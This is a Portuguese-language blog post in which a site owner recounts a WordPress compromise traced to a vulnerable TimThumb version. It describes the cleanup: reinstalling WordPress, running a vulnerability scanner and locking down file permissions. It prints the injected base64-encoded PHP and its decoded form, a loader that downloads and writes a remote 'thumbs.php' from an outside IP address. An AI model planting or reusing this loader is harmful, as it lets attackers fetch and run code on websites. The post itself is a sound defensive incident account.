Buenas pessoal,
Nos últimos dias vim acompanhando as estatísticas de acesso do meu blog percebi que o relatório do plugin WP-Statistics não batia com o relatório do Google Analytics, havia uma grande diferença e havia um ar de ‘existe algo podre nesta podridão’ e começei a investigar melhor o que poderia ser. Depois de alguns dias tentando verificar diversas possibilidades sem sucesso recebo um e-mail da Locaweb falando sobre a carga de memória usada na VM, era o ponto final para descobrir logo o que estava rolando com a instalação do WordPress ou qualquer outro site que está hospedado lá.
Antes de tudo fiz um backup completo para que no caso de qualquer B.O eu pudesse retornar ao estado original : ), assim fui indo removendo e desativando todos os plugins que eu havia instalado, embora que nenhum dos que instalei tivessem aviso de não homologação pela WordPress. Depois de feito isto, lembro que tive um pico de acessos com aproximadamente 14.000 visitas em dois dias, isto em um sábado e domingo, dias onde geralmente o tráfego do site é praticamente inexistente.
Na última quarta-feira (26/09/2012) percebi que o layout da página quebrou, achei inicialmente que fosse algum CSS ou Javascript com problemas, logo vendo pelo console do Google Chrome vi que era um JS com problema. Foi aí que tive uma surpresa, ao olhar o código da página percebi que havia uma tag ‘iframe’ no início da página, e que ao inspecionar o seu conteúdo, ela era a origem do erro que bugava o visual do meu site.
Foi claro o problema de que algum script malicioso fez alguma injeção de código e ‘implantou’ aquele iframe no(s) arquivo(s) ‘.php’ do blog. Ao procurar a origem do problema, usei o próprio editor interno do WordPress para arquivos CSS e PHP, e para surpresa achei este hash de criptografia base_64:
1 2 3 |
<?php echo (base64_decode('c2V0X3RpbWVfbGltaXQoMCk7CiRmcCA9IGZvcGVuICgndGh1bWJzLnBocCcsICd3KycpOwokY2ggPSBjdXJsX2luaXQoJ2h0dHA6Ly84Mi4yMjEuOTYuMTA5L25wL3RodW1icy5waHAnKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUwKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7CmN1cmxfZXhlYygkY2gpOwpjdXJsX2Nsb3NlKCRjaCk7CmZjbG9zZSgkZnApOwppZiAoZmlsZV9leGlzdHMoJ3RodW1icy5waHAnKSkgcHJpbnQgIj09PURPTkU9PT0iOw==')); ?> <?php echo ((base64_decode('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8iivN063ctmiZvt36387a8c+cXpxdlNcnKFH8e4p/Pdg9/4+THfiyv66r+/et8VdVtsbzY2rnDH6/qYtluffy4OK+zRZ5eFbN2/tlHuzsfpfO8uJi38nvTXpf5Zx9dFk0xKcqivX40L2azfHm4qpqiLarlo2zSVOW6zQ/L/Lx9tHPYViv6l96sp599NG/b1aO7d6dlMX075n+bVV2Nq/ri7nmez+5y3814NV/9Huti9tn9T3+hfPLZvY+OHt8V1I4+BsK/5DdO/p8AAAD//w==')));?> |
Este cara ao ser passado para a função eval do PHP se tornava este mosntrinho aqui:
1 2 3 4 5 6 7 8 9 10 11 |
carlos@cpro12287:~$ php teste.php set_time_limit(0); $fp = fopen ('thumbs.php', 'w+'); $ch = curl_init('http://82.221.96.109/np/thumbs.php'); curl_setopt($ch, CURLOPT_TIMEOUT, 50); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_exec($ch); curl_close($ch); fclose($fp); if (file_exists('thumbs.php')) print "===DONE==="; |
Não cheguei a ver a execução deste script, mas pelo monitoramento que fiz, o mesmo era executado diariamente as 08:26 horas da manhã e o seu resultado era um arquivo com um hash como nome, algo como ‘9cah3j1930f0cm4n4‘ contendo diversos endereços de IPs iniciados em 186.x.x.x. Nenhum deles estava ativo nos testes, acredito que poderiam ser IPs de máquinas zumbis ou coisa do tipo.
O problema
Depois de algumas pesquisas sobre este script e a URL do iframe, descobri que o problema é causado por um script bem conhecido de quem utiliza o WordPress, o “TimThumb.php” ou apenas TimThumb. Este cara é uma implementação para o tratamento de imagens feito em PHP muito usado em templates para WordPress, e, logo, no entanto, toda via, o template (Aggregate) do meu site também usava este cara.
O TimThumb.php por é funcional, faz o que tem que fazer, mas possui falhas de segurança graves em algumas versões, como no caso da 1.18 que era a utilizada pelo template quando eu instalei o mesmo.
A solução
Primeiramente analisei todos os arquivos referentes aos uploads feitos em busca de arquivos provenientes de hashs aleatórios, em seguida fiz a reinstalação do WordPress através da opção existente na própria administração do CMS. E por último achei o plugin Vulnerability Scanner que busca por arquivos problemáticos com base em um catalogo de problemas relatados.
Este plugin acabou salvando o meu template, logo porque o mesmo aponta os scripts problemáticos e propõe a instalação de versões mais recentes e/ou a aplicação das correções necessárias aos mesmos. Isso eu até registrei na imagem abaixo ; )
Só pra me assegurar eu fechei a escrita dos arquivos pelo Apache exceto na pasta de upload dele:
1 2 3 4 5 |
chown root.root * #na raiz do wordpress. chmod -w * #na raiz do wordpress. cd wp-content/ chown www-data uploads -Rf #somente para os uploads do blog. chmod +w uploads -Rf # somente para os uploads do blog. |
Beleza, acho que por enquanto tudo está na calmaria por aqui novamente.
Abraços e até a próxima.